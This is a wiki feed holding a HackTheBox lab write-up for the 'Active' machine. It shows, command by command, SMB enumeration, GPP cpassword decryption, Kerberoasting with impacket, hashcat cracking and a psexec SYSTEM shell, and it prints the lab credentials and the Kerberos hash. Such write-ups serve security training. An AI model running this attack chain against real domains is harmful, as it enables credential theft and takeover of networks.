<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FActive</id>
	<title>Write-ups/HTB/Active - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FActive"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Active&amp;action=history"/>
	<updated>2026-04-21T14:46:45Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Active&amp;diff=1182&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 21:12, 28 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Active&amp;diff=1182&amp;oldid=prev"/>
		<updated>2022-01-28T21:12:40Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Active&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Medium&lt;br /&gt;
| techniques = SMB, GPP Passwords, Kerberoasting&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-121.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is a Active Directory box. Because of SMB null session, we found Group Policy Prefance encrypted password stored in &amp;#039;&amp;#039;&amp;#039;cpassword&amp;#039;&amp;#039;&amp;#039;. We decrypted that and got credentials for SVC_TGS. Using these credentials we &amp;#039;&amp;#039;&amp;#039;kerberoasting &amp;#039;&amp;#039;&amp;#039;technique to get hash for the user Administrator. I then cracked that hash, and used &amp;#039;&amp;#039;&amp;#039;psexec &amp;#039;&amp;#039;&amp;#039;to gain shell on the machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/active]&lt;br /&gt;
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.100 -oN nmap.result&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-22 21:18 EST&lt;br /&gt;
Nmap scan report for 10.10.10.100&lt;br /&gt;
Host is up (0.030s latency).&lt;br /&gt;
Not shown: 65512 closed tcp ports (reset)&lt;br /&gt;
PORT      STATE SERVICE       VERSION&lt;br /&gt;
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)&lt;br /&gt;
| dns-nsid:&lt;br /&gt;
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)&lt;br /&gt;
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-01-23 02:20:32Z)&lt;br /&gt;
135/tcp   open  msrpc         Microsoft Windows RPC&lt;br /&gt;
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn&lt;br /&gt;
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)&lt;br /&gt;
445/tcp   open  microsoft-ds?&lt;br /&gt;
464/tcp   open  kpasswd5?&lt;br /&gt;
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0&lt;br /&gt;
636/tcp   open  tcpwrapped&lt;br /&gt;
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)&lt;br /&gt;
3269/tcp  open  tcpwrapped&lt;br /&gt;
5722/tcp  open  msrpc         Microsoft Windows RPC&lt;br /&gt;
9389/tcp  open  mc-nmf        .NET Message Framing&lt;br /&gt;
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)&lt;br /&gt;
|_http-title: Not Found&lt;br /&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0&lt;br /&gt;
49152/tcp open  msrpc         Microsoft Windows RPC&lt;br /&gt;
49153/tcp open  msrpc         Microsoft Windows RPC&lt;br /&gt;
49154/tcp open  msrpc         Microsoft Windows RPC&lt;br /&gt;
49155/tcp open  msrpc         Microsoft Windows RPC&lt;br /&gt;
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0&lt;br /&gt;
49158/tcp open  msrpc         Microsoft Windows RPC&lt;br /&gt;
49165/tcp open  msrpc         Microsoft Windows RPC&lt;br /&gt;
49170/tcp open  msrpc         Microsoft Windows RPC&lt;br /&gt;
49171/tcp open  msrpc         Microsoft Windows RPC&lt;br /&gt;
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_clock-skew: 1m54s&lt;br /&gt;
| smb2-security-mode:&lt;br /&gt;
|   2.1:&lt;br /&gt;
|_    Message signing enabled and required&lt;br /&gt;
| smb2-time:&lt;br /&gt;
|   date: 2022-01-23T02:21:29&lt;br /&gt;
|_  start_date: 2022-01-23T02:16:58&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 83.23 seconds&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The services running on the machine is:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Port&lt;br /&gt;
! Service&lt;br /&gt;
! Explaination&lt;br /&gt;
|-&lt;br /&gt;
| 53&lt;br /&gt;
| DNS&lt;br /&gt;
| Domain name system. Translate IP to domain.&lt;br /&gt;
|-&lt;br /&gt;
| 88&lt;br /&gt;
| Kerberos&lt;br /&gt;
| Kerberos is an authenticaiton protocol.&lt;br /&gt;
|-&lt;br /&gt;
| 135&lt;br /&gt;
| RPC&lt;br /&gt;
| Protocol that uses the client-server model in order to allow one program to request service from a program on another computer.&lt;br /&gt;
|-&lt;br /&gt;
| 139&lt;br /&gt;
| netbios-ssn&lt;br /&gt;
| Network Basic I/O system. Provides services related to the session layer.&lt;br /&gt;
|-&lt;br /&gt;
| 389&lt;br /&gt;
| AD LDAP&lt;br /&gt;
| Lightwegiht Directory Access Protocol. Protocol to locate organizations, individuals, and other resources such as files and devices in a network.&lt;br /&gt;
|-&lt;br /&gt;
| 445&lt;br /&gt;
| microsoft-ds (SMB)&lt;br /&gt;
| Service Message Block. Application layer network protocol primarily used for offering shared access to files, printers, serial ports, etc&lt;br /&gt;
|-&lt;br /&gt;
| 464&lt;br /&gt;
| kpasswd5?&lt;br /&gt;
| Used for chaning/setting passwords against Active Directory.&lt;br /&gt;
|-&lt;br /&gt;
| 593&lt;br /&gt;
| ncacn_http&lt;br /&gt;
| Identifies IIS as the protocol family for the endpoint.&lt;br /&gt;
|-&lt;br /&gt;
| 3268&lt;br /&gt;
| AD LDAP&lt;br /&gt;
| Same as port 389&lt;br /&gt;
|-&lt;br /&gt;
| 5722&lt;br /&gt;
| msrpc&lt;br /&gt;
| same as 135&lt;br /&gt;
|-&lt;br /&gt;
| 9389&lt;br /&gt;
| mc-nmf&lt;br /&gt;
| Message Framing protocol&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Right off the bat we can note that the domain is &amp;#039;&amp;#039;&amp;#039;active.htb&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with listing shares that are available in SMB.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/active]&lt;br /&gt;
└─# smbclient -L //10.10.10.100&lt;br /&gt;
Enter WORKGROUP\root&amp;#039;s password:&lt;br /&gt;
Anonymous login successful&lt;br /&gt;
&lt;br /&gt;
        Sharename       Type      Comment&lt;br /&gt;
        ---------       ----      -------&lt;br /&gt;
        ADMIN$          Disk      Remote Admin&lt;br /&gt;
        C$              Disk      Default share&lt;br /&gt;
        IPC$            IPC       Remote IPC&lt;br /&gt;
        NETLOGON        Disk      Logon server share&lt;br /&gt;
        Replication     Disk&lt;br /&gt;
        SYSVOL          Disk      Logon server share&lt;br /&gt;
        Users           Disk&lt;br /&gt;
Reconnecting with SMB1 for workgroup listing.&lt;br /&gt;
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)&lt;br /&gt;
Unable to connect with SMB1 -- no workgroup available&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enumerating the share&amp;#039;&amp;#039;&amp;#039; Replication &amp;#039;&amp;#039;&amp;#039;I found a XML file called &amp;#039;&amp;#039;&amp;#039;Groups.xml&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
──(root💀kali)-[/home/aghanim/Desktop/HTB/active]&lt;br /&gt;
└─# cat Groups.xml                                                                                                                                                                                                                      1 ⨯&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In that file we get a service user &amp;#039;&amp;#039;&amp;#039;SVC_TGS&amp;#039;&amp;#039;&amp;#039; and a group policy preferance encrypted password. [https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN Microsoft released] the key for GPP encryption. Microsoft released a patch in 2014 preventing admins from putting passwords into GPP. The patch dosent do anything about passwords that were already available there.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Decrypting GPP password ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/active]&lt;br /&gt;
└─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ                                                                                   1 ⨯&lt;br /&gt;
GPPstillStandingStrong2k18&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So we have the credentials for the service account. &amp;#039;&amp;#039;&amp;#039;SVC_TGS:GPPstillStandingStrong2k18&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the earlier enumeration, I saw the share called &amp;#039;&amp;#039;&amp;#039;Users&amp;#039;&amp;#039;&amp;#039;. The user SVC_TGS have access to that share.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smb: \SVC_TGS\&amp;gt; ls&lt;br /&gt;
  .                                   D        0  Sat Jul 21 11:16:32 2018&lt;br /&gt;
  ..                                  D        0  Sat Jul 21 11:16:32 2018&lt;br /&gt;
  Contacts                            D        0  Sat Jul 21 11:14:11 2018&lt;br /&gt;
  Desktop                             D        0  Sat Jul 21 11:14:42 2018&lt;br /&gt;
  Downloads                           D        0  Sat Jul 21 11:14:23 2018&lt;br /&gt;
  Favorites                           D        0  Sat Jul 21 11:14:44 2018&lt;br /&gt;
  Links                               D        0  Sat Jul 21 11:14:57 2018&lt;br /&gt;
  My Documents                        D        0  Sat Jul 21 11:15:03 2018&lt;br /&gt;
  My Music                            D        0  Sat Jul 21 11:15:32 2018&lt;br /&gt;
  My Pictures                         D        0  Sat Jul 21 11:15:43 2018&lt;br /&gt;
  My Videos                           D        0  Sat Jul 21 11:15:53 2018&lt;br /&gt;
  Saved Games                         D        0  Sat Jul 21 11:16:12 2018&lt;br /&gt;
  Searches                            D        0  Sat Jul 21 11:16:24 2018&lt;br /&gt;
&lt;br /&gt;
                5217023 blocks of size 4096. 277681 blocks available&lt;br /&gt;
smb: \SVC_TGS\&amp;gt; cd Desktop\&lt;br /&gt;
smb: \SVC_TGS\Desktop\&amp;gt; ls&lt;br /&gt;
  .                                   D        0  Sat Jul 21 11:14:42 2018&lt;br /&gt;
  ..                                  D        0  Sat Jul 21 11:14:42 2018&lt;br /&gt;
  user.txt                           AR       34  Sat Jan 22 21:17:47 2022&lt;br /&gt;
&lt;br /&gt;
                5217023 blocks of size 4096. 277681 blocks available&lt;br /&gt;
smb: \SVC_TGS\Desktop\&amp;gt; get user.txt&lt;br /&gt;
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)&lt;br /&gt;
smb: \SVC_TGS\Desktop\&amp;gt; exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To get the credentials for &amp;#039;&amp;#039;&amp;#039;Administrator &amp;#039;&amp;#039;&amp;#039;account I&amp;#039;ll use a technique called kerberoasting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
The goal of &amp;#039;&amp;#039;&amp;#039;Kerberoasting&amp;#039;&amp;#039;&amp;#039; is to harvest &amp;#039;&amp;#039;&amp;#039;TGS tickets for services that run on behalf of user accounts&amp;#039;&amp;#039;&amp;#039; in the AD, not computer accounts. Thus, &amp;#039;&amp;#039;&amp;#039;part&amp;#039;&amp;#039;&amp;#039; of these TGS &amp;#039;&amp;#039;&amp;#039;tickets are&amp;#039;&amp;#039;&amp;#039; &amp;#039;&amp;#039;&amp;#039;encrypted&amp;#039;&amp;#039;&amp;#039; with &amp;#039;&amp;#039;&amp;#039;keys&amp;#039;&amp;#039;&amp;#039; derived from user passwords. As a consequence, their credentials could be &amp;#039;&amp;#039;&amp;#039;cracked offline&amp;#039;&amp;#039;&amp;#039;. You can know that a &amp;#039;&amp;#039;&amp;#039;user account&amp;#039;&amp;#039;&amp;#039; is being used as a &amp;#039;&amp;#039;&amp;#039;service&amp;#039;&amp;#039;&amp;#039; because the property &amp;#039;&amp;#039;&amp;#039;&amp;quot;ServicePrincipalName&amp;quot;&amp;#039;&amp;#039;&amp;#039; is &amp;#039;&amp;#039;&amp;#039;not null&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.&lt;br /&gt;
[https://book.hacktricks.xyz/windows/active-directory-methodology/kerberoast https://book.hacktricks.xyz/windows/active-directory-methodology/kerberoast]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use &amp;#039;&amp;#039;&amp;#039;impackets &amp;#039;&amp;#039;&amp;#039;GetUserSPN. Pentestlab have a great [https://pentestlab.blog/2018/06/04/spn-discovery/ blogpost] about Service Principle Names&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/active]&lt;br /&gt;
└─# impacket-GetUserSPNs -request -dc-ip 10.10.10.100 active.htb/svc_tgs -outputfile hashes.kerberoast                                                                               1 ⨯ 1 ⚙&lt;br /&gt;
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation&lt;br /&gt;
&lt;br /&gt;
Password:&lt;br /&gt;
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation&lt;br /&gt;
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------&lt;br /&gt;
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2022-01-22 21:18:00.883745&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll now attempt to crack the hash using hascat. Using hashcat on my host instead of Kali VM allowes me to use the GPU to crack the   hash. Even though the hash is probably a password from rockyou, using hashcat with GPU is alot faster than using the CPU. GPU passthroug to VM with a consumer card is a hassle, so I havent done it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
C:\Users\AlaaG\OneDrive\Skrivebord\hashcat-6.2.4&amp;gt;hashcat -m 13100 --force -a 0 C:\Users\AlaaG\OneDrive\Skrivebord\hash.kerberoast.txt rockyou.txt                                   hashcat (v6.2.4) starting                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ====================                                                                                                                                                                * Device #1: NVIDIA GeForce RTX 3070 Laptop GPU, 7150/8191 MB, 40MCU                                                                                                                                                                                                                                                                                                    OpenCL API (OpenCL 3.0 CUDA 11.5.125) - Platform #1 [NVIDIA Corporation]                                                                                                            ========================================================================                                                                                                            * Device #2: NVIDIA GeForce RTX 3070 Laptop GPU, skipped                                                                                                                                                                                                                                                                                                                OpenCL API (OpenCL 2.1 AMD-APP (3224.5)) - Platform #2 [Advanced Micro Devices, Inc.]                                                                                               =====================================================================================                                                                                               * Device #3: AMD Radeon(TM) Graphics, 6624/13320 MB (4790 MB allocatable), 8MCU                                                                                                                                                                                                                                                                                         Minimum password length supported by kernel: 0                                                                                                                                      Maximum password length supported by kernel: 256                                                                                                                                                                                                                                                                                                                        Hashes: 1 digests; 1 unique digests, 1 unique salts                                                                                                                                 Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates                                                                                                        Rules: 1                                                                                                                                                                                                                                                                                                                                                                Optimizers applied:                                                                                                                                                                 * Zero-Byte                                                                                                                                                                         * Not-Iterated                                                                                                                                                                      * Single-Hash                                                                                                                                                                       * Single-Salt                                                                                                                                                                                                                                                                                                                                                           ATTENTION! Pure (unoptimized) backend kernels selected.                                                                                                                             Pure kernels can crack longer passwords, but drastically reduce performance.                                                                                                        If you want to switch to optimized kernels, append -O to your commandline.                                                                                                          See the above message to find out about the exact limits.                                                                                                                                                                                                                                                                                                               Watchdog: Temperature abort trigger set to 90c                                                                                                                                                                                                                                                                                                                          Host memory required for this attack: 421 MB                                                                                                                                                                                                                                                                                                                            Dictionary cache built:                                                                                                                                                             * Filename..: rockyou.txt                                                                                                                                                           * Passwords.: 14344391                                                                                                                                                              * Bytes.....: 139921497                                                                                                                                                             * Keyspace..: 14344384                                                                                                                                                              * Runtime...: 0 secs                                                                                                                                                                                                                                                                                                                                                    $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$037f289324d5c77c9f1847bf3606e6c6$d1462adf2fb2dd4f89fe5b86993cf73a78103bcdf3d72e5fd629c77005eb512d9bc3ca959e7efba7041b7dae4662f058845ee19e91db9fcb479d671cd60663c69df89e33bff176d803e1cae39378521d208e54df913b8c22cd59f884624626234dadc6aa0f9e6550a583553e78944d017ea871fb966c98d99e2eda0889199407bd462d5f9fae457d8dd5a0b2e686d471fdfe78f94878a0e7e0b5d869b4b17e8539248dd2d86a783064fbb959495de4cb8fd8d9c03fa1f51f4ce8bbd3dc994629823c9ebc3eab68849b05988dc025341eb03869744b193b192e0daffd0b88789b3692300870dc88fe7a08bd3dc86a46151499f90e14836bc2f8f11b93544668356fbdac21b04a0db6d8dedcadb26e03546c65c4ad458d1976996f1ab95390ab298fc0209142747b7ec436d9117cbbd07917ef3b7d864374d936d40b9f16a2716fc075c8000ee8cd8343ce78093f2a6f59175ced3be477df0e2a9624c7bc9838d24909bf7e9bedee33a8361f205a0a5fa6821e5049f4eeee7c65bac97300097e865d086fb241b3180c3cf56d9b3e922e74b499bd5f0a392a2ebdc346bf66e7ff18819243726a4ca926623598e0d7b30be58dcdc972a6143a8591beb22772c506249691be84d0a035194404d560f304cfa636cadb921f06f80747beb82f2f67c9edf37652ad23412e658c7944d72e74cd3994ca40ba454e4a6883ad96d0bcd76c0ec284288fffd7d77ae5c164905915d31fe469a11464154e85bd5bf57592cf49691cf8935d93e65c049821b2272e2352d374ae7c61b7d181af37dc841b8008f5acb79a90270b298fdbbae92a3f11004f4cf5917751820089a9ad99ac607b139cbd0ccb6188ad7fa913fe8b732bc525c34dfbd44b7e27e5aa17da80e635f4f150024489c6ad225144218de4629d9caadf462897c551d6fbbccf53265cb09af16ade88b7ffc323f4861345a459a32531540c0d12ea080ec1ba284a61ad394d7eacee26ddb2317b299c97604905844ef9f499b7263714f324ed7d2fc5328af703968c5f07a08dbd4da65051e887723124d2ca7f1156e9bf04a738fe763069b842f53e7a53206295103a069c4452d071b040908c18ad167842f0dfe48527ac7d7d80a0060fe361d9947b06ba736ec87b87f919536ed2a3cf398f6b3d0a9b45fb50c345b4995dc746ad0746360cbb5ff593800a82f226f1d05fc41fbd2ee10cb18b85702a3580d012a113ab89eb37da7ac85053448fdfc81d8f0c8b495c:Ticketmaster1968                                                                                                                                                                                                                                                                          Session..........: hashcat                                                                                                                                                          Status...........: Cracked                                                                                                                                                          Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)                                                                                                                            Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...8b495c                                                                                                     Time.Started.....: Sun Jan 23 20:22:15 2022, (2 secs)                                                                                                                               Time.Estimated...: Sun Jan 23 20:22:17 2022, (0 secs)                                                                                                                               Kernel.Feature...: Pure Kernel                                                                                                                                                      Guess.Base.......: File (rockyou.txt)                                                                                                                                               Guess.Queue......: 1/1 (100.00%)                                                                                                                                                    Speed.#1.........:  3187.8 kH/s (1.07ms) @ Accel:128 Loops:1 Thr:32 Vec:1                                                                                                           Speed.#3.........:  2506.8 kH/s (8.84ms) @ Accel:256 Loops:1 Thr:32 Vec:1                                                                                                           Speed.#*.........:  5694.6 kH/s                                                                                                                                                     Recovered........: 1/1 (100.00%) Digests                                                                                                                                            Progress.........: 10616832/14344384 (74.01%)                                                                                                                                       Rejected.........: 0/10616832 (0.00%)                                                                                                                                               Restore.Point....: 10190848/14344384 (71.04%)                                                                                                                                       Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1                                                                                                                               Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1                                                                                                                               Candidate.Engine.: Device Generator                                                                                                                                                 Candidates.#1....: ace14325 -&amp;gt; TUGGAB8                                                                                                                                              Candidates.#3....: TUGGA00 -&amp;gt; Sabo2008                                                                                                                                              Hardware.Mon.#1..: Temp: 40c Util:  6% Core:1559MHz Mem:6994MHz Bus:8                                                                                                               Hardware.Mon.#3..: Util: 39% Core:2000MHz Mem:1600MHz Bus:16                                                                                                                                                                                                                                                                                                            Started: Sun Jan 23 20:21:41 2022                                                                                                                                                   Stopped: Sun Jan 23 20:22:18 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We now have the credentials for the administrator account, &amp;#039;&amp;#039;&amp;#039;Administrator:Ticketmaster1968&amp;#039;&amp;#039;&amp;#039;. I can now fetch the root.txt from SMB share.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/active]&lt;br /&gt;
└─# smbclient //10.10.10.100/Users -U &amp;quot;active.htb\Administrator&amp;quot;                                                                                                                     1 ⨯ 1 ⚙&lt;br /&gt;
Enter ACTIVE.HTB\Administrator&amp;#039;s password:&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \Administrator\Desktop\&amp;gt; ls&lt;br /&gt;
  .                                  DR        0  Thu Jan 21 11:49:47 2021&lt;br /&gt;
  ..                                 DR        0  Thu Jan 21 11:49:47 2021&lt;br /&gt;
  desktop.ini                       AHS      282  Mon Jul 30 09:50:10 2018&lt;br /&gt;
  root.txt                           AR       34  Sat Jan 22 21:17:47 2022&lt;br /&gt;
&lt;br /&gt;
                5217023 blocks of size 4096. 277665 blocks available&lt;br /&gt;
smb: \Administrator\Desktop\&amp;gt; get root.txt&lt;br /&gt;
getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To get a shell on the machine I&amp;#039;ll use impackets &amp;#039;&amp;#039;&amp;#039;psexec&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/active]&lt;br /&gt;
└─# impacket-psexec  active.htb/Administrator@10.10.10.100                                                                                                                           1 ⨯ 1 ⚙&lt;br /&gt;
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation&lt;br /&gt;
&lt;br /&gt;
Password:&lt;br /&gt;
[*] Requesting shares on 10.10.10.100.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file eUvcjiEp.exe&lt;br /&gt;
[*] Opening SVCManager on 10.10.10.100.....&lt;br /&gt;
[*] Creating service DzMt on 10.10.10.100.....&lt;br /&gt;
[*] Starting service DzMt.....&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
Microsoft Windows [Version 6.1.7601]&lt;br /&gt;
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.&lt;br /&gt;
&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Before 2014 AD machines could have GPP encrypted passwords &amp;quot;hidden&amp;quot; in a file. * When pentesting an Active Directory environment there might be many ports open. Enumerating the low hanging fruit is key, so not to get lost or spending huge ammount of time enumerating services that might not have anything usesful. That dosent however mean not to enumerate well.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>